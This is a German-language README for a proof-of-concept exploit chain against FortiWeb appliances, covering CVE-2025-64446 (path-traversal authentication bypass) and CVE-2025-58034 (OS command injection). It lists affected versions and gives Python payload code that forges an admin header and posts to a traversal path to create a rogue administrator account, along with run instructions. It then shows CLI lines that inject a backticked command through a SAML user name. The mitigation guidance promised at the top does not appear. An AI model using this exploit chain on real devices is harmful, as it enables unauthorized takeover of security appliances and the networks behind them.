
PoC-Exploit für FortiWeb CVE-2025-64446 (Authentifizierungsumgehung über Path Traversal) und CVE-2025-58034 (OS-Befehlsinjektion) mit detaillierter Analyse und Anleitung zur Schadensbegrenzung.
FortiWeb ist ein Web Application Firewall (WAF)-Gerät zum Schutz von Webanwendungen.
Im Jahr 2025 wurden zwei schwerwiegende Schwachstellen entdeckt:
| Element | Inhalt |
|---|---|
| Schwachstellentyp | Relative Path Traversal Authentication Bypass |
| Ursache | FortiWeb verarbeitet Pfade vor der Authentifizierung nicht streng genug: - Zugriffskontrolle basierend auf logischen Pfad-Zeichenketten - Keine vollständige Normalisierung des Pfads - Ermöglicht die Verwendung von ../ für den Zugriff auf interne Ressourcen |
| Beschreibung | Einige administrative Endpunkte können ohne gültige Authentifizierung aufgerufen werden |
| Auswirkungen | - Vollständige Authentifizierungsumgehung - Unbefugter Zugriff auf Admin-Funktionen - Umgehung des Berechtigungsmodells |
| Betroffene Versionen | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
Beispiel:
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
| Element | Inhalt |
|---|---|
| Schwachstellentyp | OS Command Injection (CWE-78) |
| Ursache | FortiWeb verarbeitet Eingaben bei der Ausführung von Systembefehlen unsicher: - Keine Validierung der Eingaben - Fehlendes Escaping von Sonderzeichen - Direkte Übergabe von Benutzerdaten an Systembefehle |
| Beschreibung | Die Schwachstelle erfordert eine Authentifizierung, ermöglicht jedoch das Einschleusen von Systembefehlen |
| Auswirkungen | - Unbeabsichtigte Befehlsausführung - Zugriff auf Systemressourcen - Beeinträchtigung von Integrität und Verfügbarkeit |
| Betroffene Versionen | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Dies hilft, Versionskonflikte von Bibliotheken zu vermeiden, die Stabilität der Arbeitsumgebung zu gewährleisten und die Auswirkungen auf das System zu begrenzen.
Payload
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
Führen Sie das Tool mit Python3 aus:
python3 exploit.py <IP_target>
<IP_target>: Die IP-Adresse ist hier der Hostname des FortiWeb-Geräts.
Benutzername und Passwort erhalten -> Anmeldung durchführen
Der Exploit ist erfolgreich und ein neues Konto mit Admin-Rechten wurde erstellt.
Nach erfolgreicher Anmeldung mit dem neu erstellten Administratorkonto kann der Angreifer die authentifizierte Befehleinschleusungsschwachstelle über speziell erstellte Anfragen oder direkt über die FortiWeb-CLI-Befehlszeile ausnutzen:
config user saml-user
edit "`id`" ## nhập lệnh tại đây
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
FortiWeb verlässt die Konfigurationszeichenfolge und führt den Befehl id während der saml-user-Konfiguration aus.